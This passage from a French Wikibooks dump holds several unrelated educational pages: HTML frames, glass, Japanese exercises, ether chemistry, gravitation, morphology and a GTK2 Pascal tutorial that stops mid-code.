de donner un nom à un cadre. Ceci permet par exemple d'identifier précisément quel cadre mettre à jour lorsque l'on suit un lien hypertexte. ===L'attribut <code>longdesc</code>=== L'attribut <code>longdesc</code> s'adresse particulièrement aux non-voyants qui utilisent une interface vocale pour "lire" les pages web. Certains logiciels dédiés ont parfois des difficultés à rendre les contenus des cadres dans un ordre pertinent. L'attribut permet d'effectuer un lien vers une description longue des cadres et de leur intérêt. Il s'agit généralement d'une page web séparée contenant un texte explicatif. ===Les marges : les attributs <code>marginwidth</code>, <code>marginheight</code> et <code>frameborder</code>=== L'attribut <code>marginheight</code> accepte une valeur (pixels ou pourcentage) correspondant à une marge par rapport aux bords verticaux (supérieur et inférieur) du cadre. L'attribut <code>marginwidth</code> correspond aux marges horizontales (droite et gauche). L'attribut <code>frameborder</code> accepte les valeurs 1 ou 0 (ou bien TRUE et FALSE) et détermine si le cadre est délimité par une bordure ou non. ===Les bordures : les attributs <code>border</code>, <code>bordercolor</code> et <code>frameborder</code>=== ===Les attributs <code>noresize</code> et <code>scrolling</code>=== <code>noresize</code> détermine si l'internaute peut ou non changer la taille du cadre. <code>scrolling</code> détermine la présence de barres de défilement (toujours, automatique ou jamais). ==Cadres uniques : la balise <code>iframe</code>== Iframes ou fenêtres intégrées dans une page Web L'intéret est d'ajouter dans une page propre une autre page. Cette méthode est utlisée entre autre pour afficher des bannières de publicité. ===Les attributs d'<code>iframe</code>=== Exemple de code pour la balise Iframe <iframe name="lesteph" src="http://www.lesteph.ch/lesteph/tutoriaux/tuto-2003/webmaster/tutoriaux/html/html-frames.html" width="468" height="60" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe> ==Les valeurs de l'attribut <code>target</code>== <code>target</code> est un attribut de la balise <code>a</code>, la balise servant à inclure des liens hypertexte. Il détermine la ''cible'' (signification de "target" en anglais) du lien, c'est-à-dire où ce lien doit être ouvert, en se basant sur l'attribut <code>name</code> des cadres présents. <code>target</code> peut prendre différentes valeurs : * '''_blank''' : ouvre le lien dans une nouvelle fenêtre * '''nom_du_cadre''' : ouvre le lien dans le cadre dont l'attribut <code>name</code> a la valeur "nom_du_cadre". *... ''Note'' : Certains navigateurs (Mozilla Firefox, Konqueror, Opera, ...) proposent une navigation par onglets, permettant d'afficher plusieurs pages dans une seule fenêtre. Bien que ce type de navigation soit de plus en plus courant et de plus en plus utilisé, il n'existe pas de valeurs à attribuer à <code>target</code> permettant d'ouvrir un lien dans un nouvel onglet (ceci est notamment dû au fait que ce type de navigation n'était pas encore très courante quand HTML 4 est sorti - les onglets ne sont donc pas un standard, mais bien une fonctionnalité supplémentaire proposée par certains navigateurs). Cependant, certains navigateurs, éventuellement munis d'une extension, peuvent proposer d'ouvrir tous les liens ayant '''_blank''' comme valeur de l'attribut <code>target</code> dans un nouvel onglet, à voir dans les options de votre navigateur. [[de:HTML-Kurs:Frames]] [[en:Programming:HTML Frames]] [[nl:HTML/Frames]] Verre 3041 44073 2006-06-07T10:13:03Z 193.49.201.163 /* Structure du verre */ Bien que le verre est un matériau connu depuis des millénaires, on ne sait toujours pas bien expliquer les origines physiques de la vitrification. Le verre désigne courament le verre de silice (SiO2), auquel nous allons particulièrement nous interésser, mais également de manière générale tout solide amorphe. ==Structure du verre== Bien que le verre soit un matériau connu depuis des millénaires, on ne sait toujours pas bien expliquer les origines physiques de la vitrification. Le verre désigne couramment le verre de silice (SiO2), auquel nous allons particulièrement nous intéresser, mais également de manière générale tout solide amorphe. [[Catégorie:Matériaux]] Introduction à la méthode de japonais 3043 39883 2006-04-09T11:35:11Z 86.199.16.165 /* Comment appliquer la méthode - Quelques conseils */ [[Japonais:Table des matières|^ Japonais ^]] | Introduction | [[Japonais:Leçon1|Leçon 1 >>]] == Objectifs de la méthode == Cette méthode a pour objectif de permettre l'apprentissage progressif du japonais en se plongeant le plus rapidement possible dans un environnement japonais. == Démarche suivie == Les leçons sont structurées de la façon suivante: * Texte d'introduction * Explications théoriques illustrées d'exemples. * Exercices d'application avec réponses en lien. * Quelques [[Japonais:Kanji|Kanji]] afin d'accroitre progressivement sa connaissance de ces signes d'origine chinoise. * Du vocabulaire afin d'accroître son glossaire. == Signalétique == === Grammaire === *[[Image:Godan.png|48 px]] On parlera de conjugaison et de verbe <br /> *[[Image:Particule.png|48 px]] On parlera des particules <br /> === prononciation === *[[Image:Gnome-speakernotes.png|50 px|haut-parleur]]prononciation <br /><br /> *[[Image:Comiclogo.png|50 px|dialogue]] Dialogue, il y aura 1 ou 2 dialogues par leçon, du nouveau vocabulaire est introduit un peu après. Lire d'abord le dialogue puis regardez les explications qui suivent, enfin, relire le dialogue avec toutes les "clés" de compréhension. <br /><br /> === Général === *[[Image:Books-aj.svg aj ashton 01.png|50 px]] : un peu de vocabulaire <br /> *[[Image:Bulbgraph.png|50 px]] : un exemple est souvent plus parlant que 20 lignes d'explications <br /> *[[Image:Evolution-tasks.png|50 px|exercice]]Exercices , en général après un point de grammaire, il y aura un exemple suivis d'un exercice *[[Image:Chaussée glissante.png|48px|left]] Attention terrain glissant, cela signifie que l'auteur énonce une théorie inexacte et incomplète, mais qui néammoins peut suffire au moment de la formulation.<br /><br /><br /> *[[Image:Nuvola 64 apps core.png|50px|left]]le japonais à comme de nombreuses langues des irrégularités, donc on indiquera les pièges avec cette jolie icone ..<br /> ,,, === Ecriture === *[[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise. Vous ne pouvez ignorer l'écriture japonaise ... Ne vous inquiétez pas, wikilivres a des leçons d'écriture ... == Comment appliquer la méthode - Quelques conseils == * L'apprentissage du japonais demande de l'application et de la continuité dans l'apprentissage. * Chaque leçon est conçue pour durer de 1 heure à 1 heure 30. Aller à la [[Japonais:Leçon1|Leçon 1]]. {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Pool d'exercices (Méthode de japonais) 3044 23410 2005-10-16T11:39:07Z Duarna 465 +modèle [[Table des matières (Japonais)|^ Japonais ^]] | Pool d'exercices == Introduction == L'objectif de cette section est de faire une banque d'exercices qui pourront être intégrés ultérieurement aux leçons correspondantes. == Exercices de grammaire == === Exercice 001 === {| border="1" | なん, なに |} <sub>   きのう          た </sub><br /> <big>1.昨日[[Japonais Exercices:R001_001|_____]]を食べましたか。</big> <sub>            うえ </sub><br /> <big>2.テレビの上に[[Japonais Exercices:R001_002|_____]]がありますか。</big> <sub>     きょうと           い </sub><br /> <big>3.- 京都へ[[Japonais Exercices:R001_003|_____]]で行きますか。</big><br /> <sub>          くるま  い </sub><br /> <big>      - 車で行きます。</big> === Exercice 002 === {| border="1" | <sub>なんさい なんばん  なんがい なんようび   なんじ  なんがつ なんにち</sub><br /> <big>何歳, 何番, 何階, 何曜日, 何時, 何月, 何日?</big> |} <sub>   まいあさ         お </sub><br /> <big>1.毎朝[[Japonais Exercices:R002_001|_____]]に起きますか。</big><br /> <sub>          しち じはん  お </sub><br /> <big>      - 7時半に起きます。</big><br /> <sub>            にほん   き </sub><br /> <big>2.[[Japonais Exercices:R002_002|_____]]に日本に来ましたか。</big><br /> <sub>           し がつ  き </sub><br /> <big>      - 四月に来ました。</big><br /> <sub>   むすこ      </sub><br /> <big>3.息子さん[[Japonais Exercices:R002_003|_____]]ですか。</big><br /> <sub>           ごさい </sub><br /> <big>      - 5歳です。</big><br /> <sub>   きょうかい         い </sub><br /> <big>4.教会に[[Japonais Exercices:R002_004|_____]]行きますか。</big><br /> <sub>           にちようび い </sub><br /> <big>      - 日曜日行きます。</big><br /> <sub>   た   もの  う   ば</sub><br /> <big>5.食べ物の売り場が[[Japonais Exercices:R002_005|_____]]ありますか。</big><br /> <sub>          さんかい </sub><br /> <big>      - 三階にあります。</big><br /> <sub>           でんわ ばんごう</sub><br /> <big>6.あなたの電話番号は[[Japonais Exercices:R002_006|_____]]ですか。</big><br /> <sub>          わたし でんわ ばんごう まる|きゅう|まる|さん|よん|さん|よん| ご| よん </sub><br /> <big>      - 私の電話番号は0 9 0 3 4 3 4 5 4です。</big><br /> <sub>    こども  にち  ご がつ</sub><br /> <big>7.子供の日は5月の[[Japonais Exercices:R002_007|_____]]ですか。</big><br /> <sub>           ごがついつか</sub><br /> <big>      - 5月5日です。</big><br /> == Exercices de vocabulaire == == Exercices de lecture == == Exercices d'écriture == {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] [[Catégorie:Exercices (Japonais)]] Japonais Leçon3:R001 3045 14582 2005-04-03T13:57:07Z Genepi2 249 Japonais Leçon3:R001 déplacé vers Japonais Exercices:R001 001 #REDIRECT [[Japonais Exercices:R001 001]] Japonais Exercices:R001 002 3046 14583 2005-04-12T03:31:54Z Genepi2 249 Ajout categorie == Solution == {| border="1" | <big>'''なに'''</big> |} ---- <sub>            うえ  <font color="green">'''なに'''</font> </sub><br /> <big>2.テレビの上に<font color="green">'''何'''</font>がありますか。</big><br /> [[Japonais:Pool d'exercices#Exercice 001|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Japonais Exercices:R001 003 3047 14584 2005-04-12T03:32:26Z Genepi2 249 Ajout categorie == Solution == {| border="1" | <big>'''なん'''</big> |} ---- <sub>     きょうと  <font color="green">'''なん'''</font>          い </sub><br /> <big>3.- 京都へ<font color="green">'''何'''</font>で行きますか。</big><br /> <sub>          くるま  い </sub><br /> <big>      - 車で行きます。</big><br /> [[Japonais:Pool d'exercices#Exercice 001|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Chimie organique:Ethers 3048 14585 2005-04-20T12:31:04Z Angely 257 /* Synthèse */ == Fonction Ether == === Définition === On appelle éther un composé dans lequel un atome d'oxygène est lié par liaison simples à deux groupes organiques différents === Nomenclature === Les éthers simples sont nommés comme des alkoxyalcanes, les ethers cycliques sont nommés comme des oxacycloalcanes: [[Image:méthoxyéthane.gif]] méthoxyéthane [[Image:14-dioxacyclohexane.gif]] 1,4-dioxacyclohexane === Synthèse === Les éthers sont synthétisés par déshydratation intermoléculaire d'un alcool en présence d'acide sulfurique. '''Ether symétriques:''' #[[Image:Deshydratation_alcool01.gif]] #[[Image:Deshydratation_alcool02.gif]] #[[Image:Deshydratation_alcool03.gif]] #[[Image:Oxydation_Ethene.gif]] '''Ether asymétriques:''' #[[Image:ChimieOrgaEther02.gif]] '''Polyéthers:''' #[[Image:polyether.GIF]] Mécanisme: [[Image:polyether_meca.GIF]] En présence d'une base forte, l'alcool est déprotoné en alcoolate qui réagit ensuite avec le carbone élecrophile de l'époxyde. Le produit de la réaction donne un alcoolate d'éther qui peut encore réagir avec une molécule d'époxyde. === Spectroscopie Infrarouge === <center> {|border="1" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" |Vibration |C-O-C (asym) |C-O-C (sym) |- |Nombre d'onde(cm-1) |1260-1070 |1055-870 |- |Intensité |(forte) |(forte) |} </center> === Groupes Protecteurs === '''Alcool''' Du fait de leur faible réactivité, les éthers sont largement utilisés comme groupement protecteur des fonctions alcool et phénol. L'anisole est un éther souvent utilisé pour protéger la fonction phénol lors de réactions sur le cycle benzénique. Il est clivé en phénol et iodure de méthyle, sous l'action de HI, par une réaction de type [[SN2|SN<sub>2</sub>]] qui implique l'atome de carbone du méthyle. [[Image:ChimieOrgaEther01.gif]] === Réactivité des Ethers === ==== Réaction Radicalaire ==== ===== [[Autoxydation]] ===== La réaction entre l'éther et le dioxygène s'appelle autoxydation. Elle conduit à la formation d'hydroperoxydes (appelés quelquefois "peroxydes d'éther") selon un mécanisme [[radicalaire]] en chaîne initié par la lumière. Les hydroperoxydes sont thermodynamiquement instables du fait de la faible énergie de la liaison O-O et cinétiquement labiles. Ils peuvent exploser sous l'action d'une élévation de température, ou d'un choc. [[Image:Autoxydation_Ether.gif]] ===== [[Halogénation]] ===== La réaction avec Cl<sub>2</sub> de type [[radicalaire]], permet de substituer l'atome d'hydrogène porté par le C en a de l'atome d'oxygène par un atome de chlore. [[Image:Halogenation_Ether.gif]] (Voir composés plurifonctionels) ==== [[Elimination]] ==== Sous l'action de bases très fortes comme les organosodiques ou les organolithiens et dans une moindre mesure les organomagnésiens, l'atome d'hydrogène porté par le carbone en b de l'oxygène peut être arraché. Une réaction d'élimination conduit à un alcène et à un alcoolate. [[Image:Elimination_Ether.gif]] ==== [[Transposition de Claisen]] ==== Lorsqu'on chauffe à 200 °C le prop-2-ényloxybenzène (oxyde d'allyle et de phényle), on obtient le 2-(prop-2-ényl)-phénol (orthoallylphénol). La réaction constitue un exemple d'une réaction très générale qui affecte les éthers de vinyle et d'allyle : la transposition de Claisen mise en évidence par [[Ludwig Claisen]] (1851-1930). [[Image:Claisen_Ether.gif]] === Les composés plurifonctionnels === ==== Les ethers α-halogénés ==== Les α-halogénoéthers sont des composés intéressants car l'atome de chlore est rendu mobile par sa proximité avec l'atome d'oxygène. Il peut être substitué par une assez grande variété de [[nucléophiles]] Exemple: Préparation du 2-hydroxypyrane [[Image:preparation_halogenoether.gif]] Retour [[Chimie organique]] --[[Utilisateur:Angely|Angely]] 19 mar 2005 à 15:27 (CET) Image:Autoxydation Ether.gif 3050 14587 2005-04-20T11:51:36Z Angely 257 équation reaction {{GFDL}} Image:ChimieOrgaEther01.gif 3051 14588 2005-04-20T11:51:41Z Angely 257 équation reaction {{GFDL}} Image:ChimieOrgaEther02.gif 3052 14589 2005-04-20T11:52:12Z Angely 257 équation reaction {{GFDL}} Image:Claisen Ether.gif 3053 14590 2005-04-20T11:51:35Z Angely 257 équation reaction {{GFDL}} Image:Deshydratation alcool01.gif 3054 14591 2005-04-20T11:52:27Z Angely 257 équation reaction {{GFDL}} Image:Deshydratation alcool02.gif 3055 14592 2005-04-20T11:52:32Z Angely 257 équation reaction {{GFDL}} Image:Deshydratation alcool03.gif 3056 14593 2005-04-20T11:52:24Z Angely 257 équation reaction {{GFDL}} Image:Elimination Ether.gif 3057 14594 2005-04-03T23:16:33Z Angely 257 équation reaction équation reaction Image:Halogenation Ether.gif 3058 14595 2005-04-20T11:51:43Z Angely 257 équation reaction {{GFDL}} Image:Oxydation Ethene.gif 3059 14596 2005-04-20T11:52:23Z Angely 257 équation reaction {{GFDL}} Image:14-dioxacyclohexane.gif 3060 14597 2005-04-20T11:49:49Z Angely 257 exemple de nomenclature {{GFDL}} Image:Méthoxyéthane.gif 3061 14598 2005-04-20T11:48:03Z Angely 257 exemple de nomenclature {{GFDL}} Modèle:3/4 3063 14600 2005-04-06T18:33:33Z 82.226.197.187 [[image:75%.png]] Gravitation 3064 42797 2006-05-19T09:01:11Z 86.198.57.52 Il n’est pas nécessaire de se confronter aux grandes lois physiques de l’humanité pour découvrir quelque chose d’incroyable! Il suffit de regarder autour de nous, d’étudier la matière qui nous entoure, elle cache toujours des propriétés qui ne demandent qu’à être découvertes. [[Catégorie:Physique]] Il n’est pas nécessaire d’aller très profond dans les entrailles de la terre pour trouver des questions intéressantes. Tenez, je vous en pose une : comment expliquez-vous la gravité? Qu’elle est cette force? Comment elle se crée? Croyez-vous qu’il y a un physicien ou un mathématicien, puisque l’un de va pas sans l’autre, qui puisse trouver une explication qui serait en accord avec la réalité? Pour votre part, avez-vous une petite idée? Plusieurs penseurs durant les derniers siècles ont élaboré des théories. Leurs idées n’étaient pas fausses mais elles n’expliquaient pas l’origine de cette force. Newton ouvra le bal en élaborant une théorie classique expliquant ce sujet. Une force radiale pointant vers le centre de la terre. Cette théorie était suffisante par rapport au contexte historique. Maintenant, la question n'est plus à l'échelle planétaire ; elle s'étend à l'univers au grand complet ! De nouvelles observations obligeaient les chercheurs à élaborer une théorie qui tenait compte de phénomène assez bizarre : la courbure de l'espace temps. Ceci est une introduction à la relativité générale. C'est Albert Einstein qui élabora cette théorie qui, en plus d’être en harmonie avec les observations, répond à la plupart de ces questions. ==Lois de Newton== Commmençons par la loi de Newton décrivant la gravité. Selon elle : {| |- |<math>\begin{matrix}F = \frac{G m_1 m_2}{d^2}\end{matrix}</math> | class="eqno" align="RIGHT" | |} Avec: *'''<math>F</math>''' la force gravitationelle en N (newtons) qui a la même valeur pour les corps en interaction, *'''<math>G</math>''' la constante gravitationelle 6.673&times;10<sup>&minus;11</sup>, *'''<math>m1</math>''' et '''<math>m2</math>''' la masse des corps etudiés, chacune en kg, *'''<math>d</math>''' la distance en m. ==Loi de Einstein== Selon Albert Einstein, tout corps, produit une courbure de l'espace-temps, dont l'importance grandit avec la gravité exercée par ce corps. Ainsi, dans l'univers, les trous noirs, qui sont le résultat de l'éffondrement d'un corps sur lui-même dû à sa propre gravité, sont un corps qui exerce une force de gravité tellement grande que son puit gravitationnel (la courbure de l'espace-temps qu'il provoque) est gigantesque. Japonais Exercices:R002 001 3065 14602 2005-04-12T03:32:52Z Genepi2 249 Ajout categorie == Solution == {| border="1" | <sub>なんじ</sub><br /> <big>'''何時'''</big> |} ---- <sub>   まいあさ<font color="green">'''なんじ'''</font>   お </sub><br /> <big>1.毎朝<font color="green">'''何時'''</font>に起きますか。</big><br /> <sub>          しち じはん  お </sub><br /> <big>      - 7時半に起きます。</big> [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] La morphologie 3067 14604 2005-04-29T13:49:18Z 65.92.161.233 /* Le morphème */ (coquille) Ce cours de morphologie permet d'introduire des notions qui peuvent être communes à toutes les langues ou non, et nous nous intéresserons uniquement au cas de la langue française. Ce cours est enseigné en première année de licence de sciences du langage. ==Introduction== ===Le morphème=== La morphologie est une discipline de la linguistique qui vise à déterminer les éléments significatifs fonctionnels de la langue, autrement dit les éléments significatifs de base. Jusqu'au XVIIIe siècle, on pensait que ces éléments correspondaient aux mots, qui sont séparés les uns des autres par deux blancs. Si l'on suit ce raisonnement, "faire" et "refaire" sont deux mots différents et constitueraient deux éléments significatifs de base, chacun porteur de sens. Pourtant, on remarque que le mot "refaire" comporte le mot "faire", qui signifie "réaliser quelque chose". L'intuition du locuteur nous indique donc que dans cet exemple, "faire" serait un élément significatif de base commun aux deux mots : "refaire" ne peut donc être un élément de base, il semble composé. On peut étayer cette hypothèse en considérant la suite de mots suivante : "faire", "refaire", "défaire", "surfaire". Suivant notre intuition, on pourrait réaliser un découpage des trois mots comme suit : *"re-faire", *"dé-faire", *"sur-faire". Que remarque t-on ? D'une part, le locuteur isole intuitivement un élément "faire" ; d'autre part, il isole les parties qui le précède, parties qui peuvent commuter, se substituer les unes aux autres. Si je substitue "dé" à "re", je crée un nouveau mot "défaire" qui existe dans la langue française, et qui semble ajouter un sens à la partie "faire" qui serait "annuler la réalisation de quelque chose". Idem pour "surfaire", qui change le sens de l'ensemble pour signifier "en faire trop". Ainsi, le mot ne peut être en tant que tel l'élément significatif de base de la langue, car certains semblent être composés. En réalité, le plus petit élément significatif de base de la langue est le '''morphème''', qui est un concept que l'on pourrait définir comme ''le plus petit élément significatif individualisé dans un énoncé que l'on ne peut diviser en unités plus petites sans passer par le niveau syllabique ou phonologique''. Cette définition fait correspondre le morphème au signe linguistique défini par Ferdinand de Saussure dans son Cours de linguistique générale. ===La double articulation du langage=== André Martinet a été le premier à définir la double articulation du langage humain, ce qui le distingue de la communication animale. Imaginons un instant que nous soyons un animal qui souhaite communiquer à ses congénères des informations sur son environnement. Je veux indiquer à mon congénère que j'ai vu des pastèques. Pour cela, je vais utiliser une suite de sons [lakapa], qui va signifier "Gros fruit vert à chair tendre, rouge et gorgée d'eau", et ce dans un contexte précis, en désignant une réalité, des fruits vus de mes yeux. On peut résumer cette communication par le triangle sémiotique suivant : [[Image:Triangle_semiotique_french.png]] Maintenant, je veux indiquer que ces pastèques sont mûres. Je dois choisir une autre suite de sons que [lakapa] qui ne signfie que "pastèque" : je choisis donc [polopo]. Cela fait deux termes à connaitre, et le nombre total de ceux-ci peut croître de manière exponentielle en fonction de ce qui peut être désigné. Tous ces sons nécessitent en outre d'être connus par mes congénères, sinon ceux-ci n'y comprendront rien, et leur mémoire n'est pas infinie. De ce fait, la communication animale est nécessairement limitée. La double articulation du langage humain est fondamentale : un énoncé peut être découpé en morphèmes, qui sont des signes linguistiques (par exemple "faire", "jeu", etc.), lesquels peuvent également être découpés en phonèmes, qui sont des sons dont la fonction est purement distinctive. Ainsi le langage humain est économique par sa première articulation en morphèmes : ceux-ci se regroupent en classes dans lesquelles ils peuvent se substituer les uns aux autres, formant ainsi des paradigmes. Ensuite, ces morphèmes peuvent être mis en série pour constituer des syntagmes. Japonais Exercices:R002 002 3071 14606 2005-04-12T03:33:33Z Genepi2 249 Ajout categorie == Solution == {| border="1" | <sub>なんがつ</sub><br /> <big>'''何月'''</big> |} ---- <sub>   <font color="green">'''なんがつ'''</font> にほん   き </sub><br /> <big>2.<font color="green">'''何月'''</font>に日本に来ましたか。</big><br /> <sub>           し がつ  き </sub><br /> <big>      - 四月に来ました。</big><br /> [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Japonais:Introduction 3073 22408 2005-09-30T08:00:46Z Jusjih 513 La double redirection est terminée. #REDIRECT [[Introduction à la méthode de japonais]] Catégorie:Japonais 3075 40401 2006-04-16T19:10:54Z 62.194.241.152 interwiki {{sisterlinks|Category:Japanese language}} Cette catégorie se concentre sur l’apprentissage de la langue japonaise ce qui '''n'inclut pas''', par exemple, les articles traitant purement de l'histoire ou de la culture japonaise. Voir la [[Japonais:Table des matières|table des matières]]. [[Catégorie:Langue]] [[en:Category:Japanese]] [[pt:Categoria:Japonês]] Catégorie:Méthode de Japonais 3076 23413 2005-10-16T11:42:09Z Duarna 465 +modèle Cette sous-catégorie de [[:Catégorie:Japonais|Japonais]] a pour objectif de contenir une première méthode permettant l’apprentissage progressif du Japonais. S'il-vous-plait, reportez vous à l'[[Japonais:Méthode:Introduction|introduction]] pour avoir plus de détails sur cette méthode. Les [[Méthode de Japonais:Instructions|instructions]] essayent de donner de grandes lignes directrices à la méthode afin que chacun puisse y contribuer tout en gardant une certaine uniformité dans la méthode. {{Méthode_de_Japonais}} [[catégorie:Japonais]] Japonais:Méthode:Introduction 3077 14612 2005-04-06T05:40:55Z Genepi2 249 Japonais:Méthode:Introduction déplacé vers Introduction à la méthode de japonais #REDIRECT [[Introduction à la méthode de japonais]] Japonais:Pool d'exercices 3079 14614 2005-04-06T05:50:31Z Genepi2 249 Japonais:Pool d'exercices déplacé vers Pool d'exercices (Méthode de japonais) #REDIRECT [[Pool d'exercices (Méthode de japonais)]] Modèle:1/2 3080 14615 2005-04-06T18:31:44Z 82.226.197.187 [[image:50%.png]] Modèle:1/4 3081 17998 2005-07-29T14:26:00Z Darkdadaah 440 +légende en cours [[image:25%.png|En cours]] Modèle:2/4 3082 14617 2005-04-06T18:32:48Z 82.226.197.187 #REDIRECT [[Modèle:1/2]] Modèle:4/4 3083 14618 2005-04-06T18:33:59Z 82.226.197.187 [[image:100%.png]] Modèle:Avancement 3084 14619 2005-04-06T18:50:24Z 82.226.197.187 Songez à utiliser {{1/4}}, {{2/4}}, {{3/4}} et {{4/4}}: * [[Image:25%.png]] = <nowiki>{{1/4}}</nowiki> : En cours ; * [[Image:50%.png]] = <nowiki>{{1/2}} ou {{2/4}}</nowiki> : Bien avancé ; * [[Image:75%.png]] = <nowiki>{{3/4}}</nowiki> : Presque complet ; * [[Image:100%.png]] = <nowiki>{{4/4}}</nowiki> : Très complet. {{1/4}}, {{2/4}} et {{3/4}} en cours. {{4/4}} peut encore être amélioré. :::::::[''[[Modèle:Avancement|modifier]]''] Modèle:Programmation CSS 3085 39859 2006-04-08T19:26:42Z Clément Cordaro 1305 <div style="background: #F9F9F9; border: 1px solid #E9E9E9; margin-bottom: 1em; padding: 0.5em 0; text-align: center;"> <div style="border-bottom: 1px dotted #ccc; margin-bottom: 0.5em; font-size: 120%;">[[Programmation CSS|Les feuilles de style]]</div> ''{{{prec}}}'' << '''{{{cour}}}''' >> ''{{{suiv}}}''</div> Catégorie:Microsoft Office 3086 19432 2005-08-19T00:53:35Z Pfv2 445 L'objectif de cette catégorie est de donner des outils pour: * faciliter la prise en main des logiciels de [[w:fr:Microsoft Office|Microsoft Office]]; * offrir des trucs et astuces pour se perfectionner dans l'utilisation de ces logiciels; * dépanner les utilisateurs. Catégorie:Microsoft Access 3087 22622 2005-10-06T13:44:33Z Greudin 1 déplacement/ les catégories sont le mauvais endroit pour du contenu, écrivez dans l'espace d'articles Cette sous-catégorie de [[:Catégorie:Microsoft Office|Microsoft Office]] a pour but de documenter: * Les objets contenus dans [[w:fr:Microsoft Access|Microsoft Access]]. * Une prise en main progressive de [[Microsoft Access]]. * De permettre l'accès à des trucs et astuces facilitant son utilisation. [[Catégorie:Microsoft Office]] Raccourcis clavier (MS Access) 3088 14623 2005-04-19T06:59:15Z 220.99.69.17 /* Lien externe */ [[Catégorie:Microsoft Access]] == Lien externe == Des [http://www.trucsastuces.com/Astuces/7.php raccourcis clavier] pour [[w:fr:Microsoft Access|MS Access]].<br \> D'autres [[:Catégorie:Trucs et astuces (MS Access)|trucs et astuces]] pour Microsoft Access. Image:Programmation GTK2 en Pascal - gtk045-1.png 3089 14624 2005-04-07T17:17:55Z Didier 186 Exemple du programme gtk045.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk045.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk045-2.png 3090 14625 2005-04-07T17:18:36Z Didier 186 Exemple du programme gtk045.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk045.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkToggleToolButton 3091 14626 2005-04-07T17:19:14Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkToggleToolButton''' permet de gérer un élément de barre d'outils de type bouton poussoir qui ne peut prendre que deux états : enfoncé ou relâché. C'est une nouveauté de la version 2.6 de Gtk+. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] └─[[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]] ├─[[Programmation GTK2 en Pascal - GtkMenuToolButton|GtkMenuToolButton]] └─[[Programmation GTK2 en Pascal - GtkToggleToolButton|GtkToggleToolButton]] └─[[Programmation GTK2 en Pascal - GtkRadioToolButton|GtkRadioToolButton]] |} == Utilisation de base == === Création === Pour créer un bouton poussoir pour une barre d'outils, Gtk+ permet l'utilisation de deux fonctions différentes : function gtk_toggle_tool_button_new : PGtkToolItem; function gtk_toggle_tool_button_new_from_stock(stock_id : Pgchar) : PGtkToolItem; La première fonction permet de créer un bouton poussoir. Il sera d'apparence « blanche ». Il faut utiliser les fonctions de son ancêtre <code>[[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]]</code> pour y ajouter un label et/ou une image. La deuxième fonction permet également de créer un bouton poussoir en utilisant les <code>[[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]]</code> qui est une structure contenant les informations sur le label et l'image à afficher. Gtk+ comporte déjà beaucoup de <code>GtkStockItem</code> prédéfinis (en tout cas les plus courant). Le paramètre <code>stock_id</code> est donc l'identifiant du <code>GtkStockItem</code> à utiliser. NB : Contrairement aux fonctions usuelles de Gtk+ de création de contrôles, ces fonctions ne renvoient pas un <code>PGtkWidget</code> mais un <code>PGtkToolItem</code>. === État du bouton === Il peut être intéressant de connaître l'état du bouton pour agir en conséquence. Une fois encore, rien de plus simple on utilise la fonction : function gtk_toggle_tool_button_get_active(button : PGtkToggleButton) : gboolean; Cette dernière nous renvoie TRUE si le bouton est enfoncé et FALSE sinon. Afin de pouvoir utiliser le paramètre <code>toggle_button</code> qui est le bouton dont on veut connaître l'état, il faut utiliser la fonction GTK_TOGGLE_BUTTON. Pour modifier l'état du bouton, c'est aussi simple : procedure gtk_toggle_tool_button_set_active(button : PGtkToggleButton; is_active : gboolean); Il suffit de mettre le paramètre is_active à TRUE si l'on veut enfoncer le bouton ou à FALSE pour le relâcher. Quand l'état du bouton change, par l'action de l'utilisateur ou du programme, un signal « <code>toggled</code> » est émis. == Programme exemple == Nous allons créer dans une fenêtre une barre d'outils avec deux boutons poussoir, créés chacun avec les deux fonctions disponibles. Voilà le fichier <code>gtk045.pas</code> : program gtk045; uses glib2, gtk2; procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); cdecl; external gtklib name 'gtk_toolbar_insert'; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pBoutonPoussoir1 : PGtkToolItem; pBoutonPoussoir2 : PGtkToolItem; pLabel : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); <nowiki>gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk045 : Barre d''outils');</nowiki> gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := 